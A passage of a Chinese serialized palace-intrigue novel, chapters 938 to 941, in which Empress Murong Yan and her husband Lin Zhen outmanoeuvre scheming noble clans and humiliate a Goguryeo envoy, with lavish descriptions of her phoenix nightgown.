此刻,她正身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?慵懒地窝在寝殿书房窗边的贵妃榻上。榻上铺着厚厚的银狐皮,温暖舒适。 林臻则坐在榻边的书案后,处理着堆积如山的奏章。他神情专注,时而挥毫批阅,时而凝眉思索。但每当慕容嫣稍有动静,他都会立刻抬头望去,眼神温柔。 ?神凤降世裙在书房温暖的烛光与窗外萧瑟秋景的对比下,更显其华贵与静谧。?极致玄黑的苏锦底料吸吮着室内的暖光,色泽愈发沉静深邃,仿佛能将一切喧嚣隔绝在外。 织入的金色棉绒与真金线流淌着柔和而温暖的暗金波光,与书房的墨香、茶香交织在一起。 ?睡裙之上,那只擎天巨凤也收敛了所有锋芒,凤羽层叠的线条在光下显得格外流畅柔和,如同在温暖巢穴中休憩的守护神鸟。凤眸上的黑钻,光泽温润。? 宽大轻盈的喇叭袖一只垂落榻边,袖口金线流苏偶尔拂过银狐皮毛,另一只则被她随意搭在屈起的膝盖上,?手中拿着一卷闲适的游记,?却并未细看。 她左手拇指上的墨玉扳指,在她无意识的转动下,泛着莹润的光泽。 而那长达五丈的苏锦拖尾,?并未拘束,?而是恣意地、迤逦地铺满了榻前一大片柔软的地毯,?墨金色的锦缎与地毯上繁复的吉祥图案相互映衬,?华美中透着居家的惬意。 ?棉质的柔软亲肤与睡裙的宽松设计,让她可以长时间保持舒适的姿势。 “夫君,”慕容嫣忽然放下书卷,?轻声唤道,?声音带着一丝慵懒的沙哑,“那件事查得如何了?” 她问的,是秋猎后世家们的动向。 林臻闻声放下朱笔,起身走到榻边,很自然地坐下,将她微凉的脚纳入怀中,用自己手掌的温度温暖着。他的动作熟练而自然,仿佛做过千百遍。 “回嫣儿,”他一边为她暖脚,一边沉声道,“表面上看,王家、崔家等沉寂了许多,子弟闭门读书,官员谨言慎行。但暗地里,动作不小。” “哦?”慕容嫣饶有兴致地挑了挑眉,?将身子往他这边靠了靠,?示意他继续说下去。 “其一,经济上。”林臻道,“他们似乎放弃了在京城与嫣儿硬碰硬,转而将大量资金转移至江南、岭南等远离中枢的富庶之地,大肆收购土地、矿山,控制漕运节点,试图构建独立于朝廷掌控之外的经济体系。手法更为隐蔽,通过无数白手套和错综复杂的商号进行,很难抓到直接把柄。” “其二,文化上。”林臻继续,“他们并未停止舆论攻势,只是方式变了。不再散布流言,而是资助寒门士子中那些有才学却不得志者,或修书立传, subtly贬损新政;或结社讲学,宣扬‘礼法自然’‘无为而治’,暗讽嫣儿‘有为’之政扰民;更甚者,开始编纂地方志、族谱,极力美化世家历史,强调其‘诗礼传家’‘国之柱石’的地位,为未来可能的‘拨乱反正’造势。” “其三,仕途上。”林臻眉头微蹙,“他们让家族中一些名声较好、能力尚可的子弟,主动申请调往边远或事务繁杂的州县任职,美其名曰‘历练’‘为君分忧’,实则是在积累基层政绩和人脉,试图走‘曲线救国’的路子。同时,对家族中在朝为官者,严格要求其‘勤勉王事’,甚至主动揭发一些无关痛痒的小问题,以营造‘克己奉公’的形象,麻痹我们。” 林臻的汇报清晰而全面,将世家“韬光养晦、积蓄力量、以待时机”的新策略剖析得淋漓尽致。这不再是鲁莽的反扑,而是更具耐心和远见的长期对抗。 慕容嫣静静地听着,?脸上没有任何意外的表情,?甚至嘴角还挂着一丝若有若无的、玩味的笑意。她任由林臻握着自己的脚,?指尖戴着墨玉扳指,?在他掌心轻轻划着圈。 “转移资产,修书立传,下放历练。”她轻声重复着,?仿佛在品味对手的新招数。“总算是学了点乖知道硬碰硬不行了。” 她的语气带着一丝居高临下的点评意味。 “嫣儿,我们是否要采取措施遏制?比如加强对江南财税的监管,或者对那些含沙射影的书籍进行查禁?”林臻问道,眼中闪过一丝厉色。 慕容嫣却摇了摇头,?反手握住他的手,?指尖微凉。“不急。” 她的声音慵懒,?却带着不容置疑的决断,“他们想玩长期的朕就陪他们玩。” 她的目光投向窗外纷飞的落叶,?眼神深邃?:“查禁书籍,只会显得朕心胸狭窄,正中他们下怀。加强监管是必要的,但不必大张旗鼓,打草惊蛇。让暗卫和户部的人,慢慢摸清他们的资金流向和产业网络即可。” “至于那些下放历练的”慕容嫣嘴角勾起一抹冰冷的弧度, “让他们去。边远州县,岂是那么好待的?民生多艰,匪患丛生正好替朕筛筛沙子。是金子,自然会发光,朕不吝赏赐。是蠢材那就死在任上好了也省得朕动手。” 她的态度,充满了猫捉老鼠般的从容与冷酷。 她不怕世家蛰伏,反而要利用这个机会,借刀杀人,优胜劣汰。 “那文化上的攻势……”林臻还是有些担忧。 慕容嫣转过头,?看着他,?凤眸中闪过一丝智慧的光芒?:“文化之争岂是禁出来的?他们修书,朕就不能修吗?传旨翰林院,编纂《圣徽大典》,集古今之成,扬新政之利!他们结社讲学,朕就开‘经筵’,亲自与天下士子辩经论道!用堂堂正正之师,击溃那些鬼蜮伎俩!” 这是要从根本上争夺话语权,建立文化自信! 林臻看着她运筹帷幄的模样,眼中充满了敬佩与爱意。他的嫣儿,总是能看得更深、更远。 “为夫明白了。”他点头,“温水煮蛙,方见真功。是为夫心急了。” 慕容嫣见他理解,?脸上露出满意的笑容。 她抽回脚,?整个人缩进他怀里,?双臂环住他的腰,?将脸贴在他胸前,?声音带着一丝倦意和依赖?:“夫君这些琐事就交给你和内阁去办吧朕懒得为那些冢中枯骨耗费太多心神有那时间不如多陪陪朕” 这并非推卸责任,而是极致的信任。她将具体执行交给他,自己只把握大方向。 林臻心中暖流涌动,紧紧抱住她,下巴抵着她的发顶:“好,嫣儿放心,一切有为夫。你好好歇着,这些烦心事,不必操心。” 慕容嫣在他怀里满足地喟叹一声,?像只找到归宿的猫儿。两人相拥着,享受着这暴风雨来临前难得的宁静。书房内烛火摇曳,将相拥的身影投在墙壁上,温馨而静谧。 过了许久,慕容嫣似乎有些闷,?轻轻动了动。林臻会意地松开一些。慕容嫣从他怀里抬起头,?望向书房一角那座巨大的、标注着大乾疆域的山河屏风,?眼神有些飘忽。 忽然,她像是想起了什么,?轻轻推开林臻,?赤着双足,?走向那面屏风。那五丈长的拖尾在她身后无声地滑过地毯。 她在屏风前站定,?目光扫过上面标注的各大世族的势力范围,?指尖戴着墨玉扳指,?在“太原”“清河”等字样上缓缓划过**。 然后,她猛地回身?! 动作带着一种纵观全局后的决断与一丝不易察觉的睥睨! 那轻盈华贵的五丈苏锦拖尾因这迅猛的回转被猛地带起,墨金色的巨幅裙摆如同凤凰展翅,傲然展开,?唰啦一声扫过厚重的地毯!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下流光溢彩的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光璀璨,尊贵、耀眼,且带着一种将万里江山与百年世家尽数纳入棋局、从容落子的磅礴气度! 裙摆落下,华光内敛。 慕容嫣看向林臻,?嘴角勾起一抹意味深长的笑容?:“夫君你说这场棋要下多久?” 林臻走到她身边,握住她的手,目光坚定:“无论多久,为夫都陪嫣儿下到底。直到棋盘上,只剩下我们想要的棋子。” 慕容嫣笑了,?那笑容明媚而真实。她主动依偎进他怀里?:“好,那我们就慢慢下。” 窗外,秋风萧瑟,暗潮涌动。但在这凤寰宫的书房内,相拥的帝后,却以无比的耐心与默契,开始布局一场更为漫长、也更为惊心动魄的博弈。 第939章 诡异的衣裳 圣徽元年的初冬,第一场雪尚未落下,但长安城朱门绣户的深宅大院中,却已弥漫着一股比严冬更刺骨的寒意。 秋猎大典上,慕容嫣那惊鸿一箭,射穿的不仅是那头狂躁的雄鹿,更是许多世家大族心中最后一丝侥幸。 那一箭的精准、果决、以及其背后蕴含的强悍武力与不容置疑的权威,如同烧红的烙铁,狠狠地烫在了所有观望者、乃至敌对者的心上。 太原王氏府邸,深藏于重重院落最深处的密室内,炭火烧得极旺,却驱不散空气中凝重的压抑。 家主王珣,仿佛一夜之间又苍老了十岁,原本矍铄的目光此刻浑浊不堪,布满血丝,死死盯着面前跳跃的火焰,一言不发。他的儿子王允之,以及几位核心族老,皆垂首默坐,脸色灰败。 角落里,还坐着一位风尘仆仆、面容隐在斗篷阴影下的客人,来自清河崔氏。 “都说说吧,”王珣的声音干涩沙哑,打破了令人窒息的沉默,“我们还有路可走吗?” 王珣的声音干涩沙哑,打破了令人窒息的沉默,“秋猎之后玄儿(指被慕容嫣带走的王氏子弟)音讯全无之后,我们还有路可走吗?” 王允之猛地抬头,眼中是压抑不住的悲愤与恐惧:“父亲!慕容嫣此女心狠手辣至此!玄弟他恐怕已遭不测!我们我们难道还要坐以待毙吗?!” “不坐以待毙,又能如何?”一位族老颤巍巍地开口,声音充满了绝望, “硬碰硬?卢家的下场就在眼前!散播流言?如今京城内外,谁敢非议半句?就连我们暗中资助的那些寒门士子,如今也大多噤若寒蝉,甚至有人转而称颂新政!经济手段?平准官市一开,我们囤积的货物成了笑话,资金链都快断了!” 每一句话,都像一把钝刀,割在在场每个人的心上。 他们发现,以往无往不利的种种手段,在慕容嫣绝对的实力和冷酷的决心面前,竟如此不堪一击。 “还有她那身诡异的衣裳!”王允之像是想起了什么可怕的东西,声音带着一丝颤抖, “秋猎那日,你们都看到了!她竟然就穿着那身黑金相间、绣着巨凤的睡裙出现在大典之上!那拖尾足有数丈之长!金光闪闪!她她简直是在向所有人宣告,她视礼法如无物,视皇权为玩物!那根本不是什么睡裙,那是那是战袍!是宣告她与我们不死不休的战袍!” 提到那身衣裳,密室内的温度仿佛又降低了几分。 这些世家耆老,一生恪守礼法,讲究衣冠规制,慕容嫣那身兼具极致奢华、极度随性与凌厉威严的?神凤降世裙,完全超出了他们的认知范畴,成为一种象征性的、令人恐惧的存在。 他们仿佛能看到,在那观猎高台之上,?玄黑为底,金凤翱翔的苏锦裙裾,在秋日阳光下如何吸吮光线,又如何反射出令人不敢直视的暗金波光。 那长达五丈的拖尾,如何迤逦铺陈,如同一条墨金色的河流,宣示着无上的权力与蔑视。 他们甚至能想象,当慕容嫣转身与林臻低语时,那宽大喇叭袖拂过,?裙摆飘起,?露出里面那惊鸿一瞥、金芒璀璨的内衬时,所带来的那种视觉与心理的双重冲击! 那已不是简单的服饰,那是慕容嫣这个人——她的强大、她的任性、她的不可预测——最直观的体现! “还有林臻!”崔家的使者终于开口,声音低沉阴冷, “那个奸佞!整日如影随形,如同慕容嫣最忠实的恶犬!你们可见秋猎时,他看慕容嫣的眼神?那根本不是臣子对君主的敬畏,那是那是男人对女人的痴迷!是毫无底线的纵容与拥护!有他在,慕容嫣便如虎添翼,我们难啊!” 密室内再次陷入死寂。慕容嫣的强悍,林臻的忠诚,以及那身如同梦魇般的?神凤降世裙,构成了一幅他们无法撼动的、令人绝望的画面。 “难道天真的要亡我世家千年基业吗?”王珣老泪纵横,捶打着桌面。 “不!还没到绝路!”崔家使者猛地抬起头,斗篷下露出一双闪烁着阴鸷光芒的眼睛,“硬的不行,就来软的!明的不行,就来暗的!慕容嫣再强,她也是人,大乾的江山,也不是她一个人就能撑起来的!” “崔兄有何高见?”王允之急切地问。 “第一,隐忍!”崔家使者斩钉截铁地说,“彻底蛰伏!所有子弟,闭门读书,所有官员,勤勉办事,甚至要比以前更恭顺!我们要让慕容嫣觉得,我们已经服软,已经无力反抗。消除她的戒心!” “第二,渗透!”他压低声音,“慕容嫣不是重用寒门、设立新政督察司吗?好!我们就将计就计!挑选族中最聪明、最不起眼、背景最干净的年轻子弟,甚至可以让他们改姓埋名,投入寒门,苦读新政典籍,争取通过科举,进入她的新机构!我们要从内部,慢慢侵蚀她的班底!就像水滴石穿!” “第三,纵容!”他的眼中闪过一丝恶毒,“慕容嫣不是刚愎自用,喜欢乾纲独断吗?我们就让她独断!她推行的新政,尤其是在边远州县,必然会有疏漏,会有不切实际之处。我们不仅不反对,还要‘大力支持’,甚至可以暗中推动一些激进的做法,让其弊端更快暴露!让民怨积累!等到民怨沸腾,她慕容嫣的威望,自然受损!” “第四,等待!”他最后说道,“等待时机!北疆巴特尔虽被困,但百足之虫死而不僵!高句丽内乱,迟早会波及辽东!还有慕容嫣与林臻他们如此恩爱,却至今无子这,难道不是‘天意’吗?只要时机一到比如,外患突起,内忧爆发,或者慕容嫣 herself出了什么‘意外’”他没有再说下去,但意思不言而喻。 这是一条更为阴险、更为漫长,但也可能更为有效的道路。从正面抗衡,转向隐秘的渗透、纵容和等待。 王珣浑浊的眼中,重新燃起一丝微弱的光芒:“崔兄所言有理!是我们之前太心急了。” 他看向王允之, “允之,就按崔兄说的办!挑选可靠子弟,秘密安排!从今日起,我王氏要做慕容嫣最‘恭顺’的臣子!” “可是父亲!玄弟的仇”王允之不甘道。 “闭嘴!”王珣厉声喝道,“小不忍则乱大谋!玄儿的仇要报!但不是现在!我们要等,等到慕容嫣和她那个姘头从云端跌落的那一天!” 密谋持续到深夜,一条条更隐蔽、更恶毒的计策被拟定。 当崔家使者悄然离去,王珣独自一人留在密室中,望着跳动的火焰,眼前仿佛又出现了秋猎高台上,慕容嫣身着那身神凤降世裙,开弓放箭的凛然身影,以及她回身时,?裙摆飘起,?露出那惊心动魄的金色内衬的瞬间。 他不由自主地打了个寒颤。 那不仅仅是一件衣裳,那是一种宣告。 宣告旧有的规则已被打破,宣告一个他们无法理解、无法掌控的时代已经来临。 而他们这些曾经的规则制定者,如今只能在暗夜中,舔舐伤口,用更阴暗的方式,进行着一场希望渺茫的反扑。 第940章 断其根基 圣徽元年的初雪,终于簌簌落下,将长安城的朱门绣户、亭台楼阁染上一层素白。 然而,这银装素裹的静谧之下,潜藏的暗流却比以往任何时候都更加汹涌。 秋猎的震慑犹在眼前,慕容嫣以“养病”为由罢朝数日、深居凤寰宫的消息,并未让世家们感到丝毫轻松,反而像一块巨石压在心头。 谁都知道,那位身着神凤降世裙的女帝,绝不是在养病,她是在以另一种方式,更紧密地掌控着朝局,与她那“夫君”林臻一起。 太原王氏府邸,暖阁内炭火熊熊,却驱不散王珣眉宇间的阴霾。他面前摊着几份密报,来自不同渠道,却指向同一个令人不安的事实。 慕容嫣推行的“平准官市”和清丈田亩、核查户籍的新政,在经历了初期的震荡后,非但没有像他们预期的那样引发大规模民怨,反而在寒门子弟和部分中小地主中逐渐站稳了脚跟! 朝廷以低于市价供应物资,确实安抚了底层民心;而清丈田亩,虽然触动了大地主的利益,却也揪出了不少地方豪强隐匿的土地人口,增加了国库收入,某种程度上甚至得到了那些被世家压榨已久的小地主和自耕农的暗中支持! “失算了,真是失算了。”王珣喃喃自语,枯瘦的手指颤抖着划过密报上的字句,“她这不是在拆东墙补西墙,她是在另起炉灶!用寒门和小民,来替代我们!” 他原本指望新政引发内乱,如今看来,慕容嫣竟是要构建一个绕过世家门阀的新统治基础! “父亲,不仅如此。”王允之脸色苍白地递上另一份密函,“我们安插在江南的人传来消息,林臻以整顿漕运、保障平准官市供应为名,派遣了大量亲信南下,接管了沿途几个关键税关和码头,我们暗中控制的几条漕运线路几乎被切断了!损失难以估量!” 经济命脉被扼住的痛楚,远比政治上的打压更直接、更致命! 王家数百年来积累的财富,很大程度上依赖于对南北漕运的隐性控制。 林臻这一手,又快又狠,显然是慕容嫣的授意! “慕容嫣,林臻。”王珣咬牙切齿地念着这两个名字,眼中充满了怨毒与一丝连他自己都不愿承认的恐惧。 他脑海中不由自主地浮现出暗探描述的凤寰宫情景——慕容嫣终日穿着那身华美得近乎妖异的黑金苏锦棉质百鸟朝凤睡裙,神凤降世裙,慵懒地偎在榻上。 而林臻,那个他们口中的“奸佞”、“男宠”,却并非曲意逢迎,而是沉稳地处理着政务,时而俯身与她低语,时而为她递上茶点,按摩肩颈那种亲密无间、权力与情感高度融合的场景。 对于讲究“君臣有别”、“男女大防”的世家来说,是如此的刺眼和难以理解! 那身神凤降世裙,那长达五丈、迤逦铺地的墨金色苏锦拖尾,那回身时惊鸿一瞥的金色内衬,在世家密探的描绘中,已不仅仅是一件衣裳,而是慕容嫣那不受束缚、凌驾于一切规则之上的权力的象征。 是她与林臻那种“畸形”关系的见证! 这比任何直白的杀戮更让他们感到一种根基被撼动的恐慌。 “他们这是要把我们往死里逼啊!”一位族老捶胸顿足。 “不,还没到绝路。”崔家那位神秘的使者再次悄然而至,斗篷上还带着未化的雪花,他的眼神在炭火映照下显得更加阴冷, “慕容嫣和林臻,毕竟只有两个人。他们的新政,他们的平准官市,看似稳固,实则脆弱!” “崔兄有何高见?”王允之如同抓住救命稻草。 “断其根基!”崔使者冷声道,“平准官市靠什么?靠的是源源不断的低价物资!尤其是粮食!如今已是冬季,漕运又被林臻把控,京城存粮能支撑多久?我们虽然在漕运上受挫,但我们在各产粮大州根基深厚! 传令下去,动用一切关系,暗中高价收购粮食!囤积起来!同时,在民间散播消息,就说朝廷官仓存粮不足,平准官市即将无粮可售!制造恐慌!只要百姓开始抢购、囤积,京城的粮食压力就会骤增!到时,我看她慕容嫣从哪里变出粮食来!” 这是要制造一场人为的“粮荒”,从根基上动摇平准官市的信誉! “惑其耳目!”他继续道,“慕容嫣不是靠暗卫监视我们吗?我们就给她送些真消息!主动暴露一些无关痛痒的、或是经过精心修饰的把柄,比如某个旁支子弟欺男霸女,某个外围商号偷税漏税,让她去查,去抓!用这些小鱼小虾,麻痹她的警惕,掩盖我们真正的行动!” 这是丢车保帅,迷惑对手。 “攻其必救!”崔使者的声音压得更低,带着一丝狠毒, “慕容嫣和林臻,如今最大的弱点是什么?是他们还没有子嗣!国本未立!这就是最大的隐患!我们可以双管齐下。一方面,在宫中想想办法当然,要极其小心;另一方面,在宗室中选一个年幼乖巧、母族卑微的子弟暗中接触,示好万一我是说万一慕容嫣有什么意外这江山,总得有人来坐” 此言一出,密室中所有人都倒吸一口冷气!这已经不是政治斗争,而是在触碰最危险的禁区——谋害君主,觊觎皇位! 王珣的手剧烈颤抖起来,脸色惨白:“崔兄,这可是诛九族的大罪啊!” “诛九族?”崔使者阴恻恻地笑了, “王公,你以为我们现在在做什么?慕容嫣对我们,早已起了杀心!卢家就是前车之鉴!我们现在做的,不过是挣扎求存!若等她根基彻底稳固,寒门尽入彀中,那时,才是我们真正的灭顶之灾!现在动手,尚有一线生机!况且我们并非要立刻动手,只是预先埋下一颗棋子,以备不时之需罢了。” 密室内陷入了更长久的、令人窒息的沉默。炭火噼啪作响,窗外风雪呼啸。每个人都在权衡着这孤注一掷的疯狂计划所带来的巨大风险与那渺茫的生机。 最终,王珣浑浊的眼中闪过一丝绝望的疯狂,他猛地一拍桌子: “好!就依崔兄之计!允之,你亲自去办收购粮食之事,要绝对隐秘!族中挑选几个机灵可靠的按崔兄说的办!至于宗室那边,”他顿了顿,眼中闪过一丝狠厉,“我去找范阳卢家的残存势力他们恨慕容嫣入骨或许可以借刀杀人。” 新的、更加恶毒的计划,在这风雪之夜悄然成型。世家们如同陷入绝境的困兽,准备发动一场更加隐蔽、也更加危险的全面反扑。 他们的目光,穿透重重宫墙,死死盯住那座温暖的凤寰宫,盯住宫中被他们视为“妖异”的神凤降世裙,以及裙裾之旁,那个与他们势不两立的男人——林臻。 而此刻的凤寰宫内,慕容嫣正慵懒地趴在铺着白虎皮的暖榻上,?身穿着那件暖融融的神凤降世裙,?林臻则坐在榻边,?手法娴熟地为她按摩着因久坐批阅奏章而有些酸痛的腰背。 殿外风雪交加,殿内却温暖如春,弥漫着安神香与彼此的气息。 “夫君,今日的雪好像特别大。”慕容嫣眯着眼,?享受着林臻恰到好处的力道,?声音带着鼻音。 “嗯,是场大雪。为夫已令京兆尹做好防灾准备,嫣儿放心。”林臻低声应着,指尖感受着她肌肤的温热与棉质睡裙下纤细的骨骼。 “有夫君在,朕什么都放心。”慕容嫣翻过身,?伸手环住他的脖颈,?将脸埋在他胸前,?像个寻求温暖的小兽。?宽大的喇叭袖垂落,?拂过他的手臂。 林臻心中柔软成一片,将她紧紧拥住,用下巴轻轻摩挲着她的发顶。 殿内烛火摇曳,将相拥的身影投在墙壁上,温馨得仿佛外界的一切风雪与阴谋都与他们无关。 然而,无论是世家朱门中滋生的毒计,还是凤寰宫内缱绻的温情,都预示着,圣徽元年的这个冬天,注定不会平静。 暗渠已然涌动,只待那惊雷炸响的一刻。 第941章 寒冬,似乎格外漫长 圣徽元年的寒冬,似乎格外漫长。 京城内关于粮价的暗流尚未平息,一道来自帝国东境的紧急军报,如同又一记重锤,敲响了凤寰宫的警钟。 高句丽摄政王高云,在彻底清洗了亲乾的世子势力后,竟派出了以强硬傲慢著称的武将朴永忠为正使的使团,已越过鸭绿江,正朝长安而来! 使团名义上是“通报高句丽王位更迭,重修两国之好”,但暗卫密报却明确指出,使团中混有与太原王氏、清河崔氏秘密接触过的商人,且朴永忠此行,极可能借机发难,试探慕容嫣的底线,甚至为可能的边境摩擦制造借口。 消息传来时,慕容嫣正与林臻在寝殿暖阁内对弈。棋盘上黑白子纠缠,杀机四伏,恰如窗外暗涌的局势。 慕容嫣依旧只穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?纤纤玉指拈着一枚温润的白子,?沉吟未落。 林臻坐于她对侧,目光虽落在棋盘上,但眉宇间已凝上一丝肃杀。 听完暗卫统领的禀报,慕容嫣并未立刻放下棋子,?只是指尖那枚白子在棋盘边缘轻轻敲击了两下,?发出清脆的微响。她抬起眼,?凤眸中掠过一丝极淡的、冰冷的笑意。 “高句丽朴永忠,”她轻声重复着这个名字,?语气平淡得像在谈论天气,“就是那个号称能徒手搏虎的‘高句丽第一勇士’?” 她转向林臻,?嘴角微扬,“夫君,你说是他搏的虎厉害,还是朕秋猎时射的那头鹿更精神些?” 林臻放下手中的黑子,眼神锐利如刀:“跳梁小丑,冢中枯骨,也配与嫣儿的箭术相提并论?此人勇武有余,谋略不足,不过是高云抛出来的一颗探路石,甚至是一颗弃子。” 慕容嫣轻笑出声,?将白子“啪”一声落在棋盘一处要害,?瞬间扭转了局勢。 “弃子?那倒是省了朕一番手脚。” 她慵懒地靠回引枕,?宽大的喇叭袖拂过棋盘, “传旨三日后朕在太极殿接见这位‘勇士’使臣。” 她的决定轻描淡写,却让一旁的暗卫统领心中一凛。太极殿乃是举行大朝会、接见外邦君主或极其重要使臣的正殿,陛下以此规格接见一个明显来者不善的使臣,其意耐人寻味。 ?接见当日,太极殿。?? 殿内百官肃立,鎏金柱础,蟠龙藻井,尽显天朝上国的威严与奢华。然而,当慕容嫣的身影出现在御座之上时,所有人的目光都不由自主地被吸引,甚至暂时忘却了即将到来的外交风波。 她并未穿戴沉重繁复的衮服朝冠,?依然只是那身已成为她独特标志的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙?! 只是今日的穿法,庄重了许多。? 睡裙外罩了一件同色玄黑、以金线绣着暗龙纹的曳地长纱,但神凤降世裙本身的华美依旧夺目。? 极致玄黑的苏锦底料在殿内无数烛火的映照下,深邃如子夜,织入的金色棉绒与真金线流淌着沉静而耀眼的暗金辉光,与大殿的金碧辉煌交相辉映,非但不显突兀,反而有一种凌驾于一切传统规制之上的、绝对的权威感。 ?睡裙之上,那只擎天巨凤在庄严肃穆的殿堂中,更显磅礴大气,凤羽层叠,仿佛随时欲破衣而出,翱翔九天。凤眸上的黑钻,冷冽地俯视着下方。 ?宽大轻盈的喇叭袖在长纱下若隐若现,袖口金线流苏随着她的动作微微晃动。她左手拇指上的墨玉扳指,在御座的扶手上轻轻叩击。 而那长达五丈的苏锦拖尾,?并未由宫人抬起,?而是迤逦地、无比自然地铺陈在御座之下高高的丹陛之上,?墨金色的锦缎沿着汉白玉台阶层层铺展,?如同一条自云端垂落的墨金色河流,?华贵、威严,?且带着一种不容置疑的压迫感。? 棉质的柔软与睡裙的舒适,让她在如此重大的场合,依然保持着一种内敛的从容。 林臻并未像往常那样站在百官之首,而是身着一品亲王礼服,手持节钺,直接侍立在御座之侧稍后一步的地方,目光如鹰隼般扫视全场,尤其是即将入殿的高句丽使臣。 这个位置,明确宣告着他不仅是臣子,更是女帝最信任的屏障与利剑。 “宣——高句丽使臣朴永忠,觐见——!”内侍监尖细悠长的唱喏声在殿中回荡。 殿门大开,一名身材高大、肤色黝黑、满脸虬髯、身着高句丽传统武将礼服的中年男子,昂首阔步而入。他身后跟着几名副使,皆面色倨傲。 朴永忠按礼节躬身行礼,但动作粗犷,眼神中毫无敬畏,反而带着一丝挑衅的打量,直直地望向御座上的慕容嫣。 当他看到慕容嫣竟然只穿着一身类似睡袍的华服接见他时,眼中更是闪过毫不掩饰的轻蔑与疑惑。 “外臣朴永忠,奉我高句丽摄政王之命,参见大乾皇帝陛下。”他的声音洪亮,甚至有些震耳,在寂静的大殿中显得格外突兀。 慕容嫣微微垂眸,?目光似有若无地扫过他,?并未立刻叫起,?而是伸出戴着墨玉扳指的食指,?轻轻拂过御座扶手上雕刻的龙首,?声音慵懒而清冷,?却清晰地传遍大殿的每个角落?: “朴使臣远道而来辛苦了。只是朕听闻高句丽老王新丧,世子年幼,由摄政王高云暂理国政?”她刻意在“暂理”二字上微微停顿。 朴永忠眉头一皱,挺直腰板,声音更大了几分: “回陛下!我高句丽国事,不劳陛下挂心!摄政王雄才大略,深受国民爱戴,即位乃是众望所归!外臣此次前来,一是通报我国新君登基,二则是要请问陛下,为何近日在边境增派兵马,关闭互市,莫非是对我高句丽有觊觎之心?我高句丽虽小,却也有带甲十万,绝非任人欺凌之辈!” 此言一出,满殿哗然! 这已不是简单的无礼,简直是赤裸裸的挑衅和倒打一耙! 不少大臣面露怒色。 慕容嫣却笑了,?笑声清脆,?带着一丝饶有兴味的嘲讽。 她并未动怒,?甚至调整了一个更舒适的坐姿,?那迤逦在丹陛上的五丈拖尾随之微微滑动。 “带甲十万?”她轻轻重复了一句,?目光转向身旁的林臻,?语气带着一丝天真的疑惑,“夫君,朕记得北疆林将军上次军报说他麾下儿郎演练时误射了几只越境的野雁,莫非高句丽的十万甲士便是那几只惊弓之雁?” 林臻嘴角勾起一抹冷冽的弧度,配合地沉声道:“回嫣儿,正是。北疆将士箭术不精,惊扰了邻国的‘雁群’,是为夫管教不严。待使臣回国,为夫定当备上厚礼,向摄政王致歉。” 他的话语,将十万雄兵贬为惊弓之雁,极尽羞辱。 朴永忠顿时气得满脸通红,虬髯几乎根根竖起!他猛地踏前一步,竟似要冲上丹陛!殿中侍卫瞬间刀剑出鞘半寸,寒光凛冽! “陛下!外臣虽粗鄙,却也知两国相交,以诚为本!陛下如此戏言,是视我高句丽如无物吗?!”他怒吼道。 就在这剑拔弩张之际,慕容嫣脸上的笑容倏地收敛。她缓缓站起身。 动作并不快,却带着千钧之重! 那轻盈华贵的五丈苏锦拖尾随着她的起身,?在丹陛上层层滑落,?发出细微而令人心悸的摩擦声。 她居高临下,?目光冰冷地俯视着朴永忠,?刚才的慵懒戏谑消失无踪,?取而代之的是一种彻骨的寒意与绝对的威压。 “诚?”她红唇轻启,?声音不高,?却如同冰锥,?刺入每个人的耳膜, “朴永忠,你高句丽摄政王高云,弑君篡位,软禁世子,此为不忠不义!你使团之中,混入与我朝逆臣暗中勾结之辈,此为不诚不信!你今日殿前,咆哮失仪,语带威胁,此为不敬不惧!” 每一个字,都如同重锤,敲在朴永忠心上,也敲在殿中所有与世家有牵连的官员心上! 她竟对高句丽内幕和使团底细了如指掌! “尔等蛮夷小邦,朕念在昔日藩属之情,容你在此狂吠,已是天恩浩荡!”慕容嫣的声音陡然转厉, “竟敢妄测天朝心意,质问于朕?!是谁给你的胆子?!” 最后一句,如同惊雷炸响! 强大的气势席卷整个太极殿,压得朴永忠脸色煞白,不由自主地后退了半步,张了张嘴,却发现自己竟发不出声音! 慕容嫣却不再看他,?猛地回身?! 动作决绝而充满不屑! 那墨金色的巨幅裙摆因这迅猛的回转被轰然带起,如同被激怒的凤凰之翼,?唰啦一声扫过冰冷的丹陛!?? 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在殿内光下璀璨夺目到令人无法直视的“满地织金”内衬!?? 百凤朝阳、万福万寿的纹路在瞬间迸发出耀眼的金芒,尊贵、辉煌,且带着碾碎一切挑衅的绝对力量! 这惊鸿一瞥的金光,仿佛一道无形的裁决,宣示着天威不可侵犯! 裙摆落下,华光内敛于沉静的墨色。 慕容嫣已重新坐回御座,?仿佛刚才的雷霆之怒只是幻觉。 她慵懒地挥了挥手,?对礼部官员吩咐道?:“高句丽使臣远来辛苦且带去鸿胪寺歇着吧好生‘款待’没有朕的旨意不得离京亦不得再见任何人。” 这轻描淡写的一句话,等同于将整个高句丽使团软禁了! 朴永忠还想说什么,却被如狼似虎的宫廷侍卫“请”出了大殿。 满殿文武,鸦雀无声,皆被女帝方才展现出的凌厉手段与深不可测的威仪所震慑。 退朝后,回到凤寰宫。 慕容嫣屏退左右,?脸上瞬间露出一丝疲惫。她快步走向迎上来的林臻,?几乎是扑进他怀里。 “夫君,那群蛮子吵得朕头疼。”她将脸埋在他胸前,?声音闷闷的,?带着撒娇的意味,?与方才太极殿上那个威严的女帝判若两人。 林臻紧紧抱住她,心疼地抚摸着她的后背:“为夫知道,嫣儿受委屈了。那些蠢物,不值得嫣儿动气。” 他能感觉到她身体的微微颤抖,并非害怕,而是高度集中精神后的松弛。 “朕没动气,”慕容嫣在他怀里抬起头,?凤眸中水光潋滟,“朕只是有点累了,夫君,抱朕去歇会儿。” 林臻将她打横抱起,走向内室。 慕容嫣顺从地依偎着他,?双臂环住他的脖颈。?那五丈长的墨金色拖尾,?垂落下来,?随着他的步伐,?在身后迤逦摆动。 将她轻轻放在柔软的龙榻上,林臻为她盖好锦被。慕容嫣却拉住他的手,?不肯放开。“夫君,陪朕一会儿,朕不想一个人。” “好,为夫陪着嫣儿。”林臻和衣躺在她身边,将她揽入怀中。 慕容嫣在他怀里找了个舒适的位置,?很快便呼吸均匀,?沉沉睡去。 林臻凝视着她熟睡的容颜,?眼中充满了爱怜与坚定。 东境的豺狼已然呲牙,但他怀中的凤凰,已然展露了足以撕裂一切阴谋的锋芒。 第942章 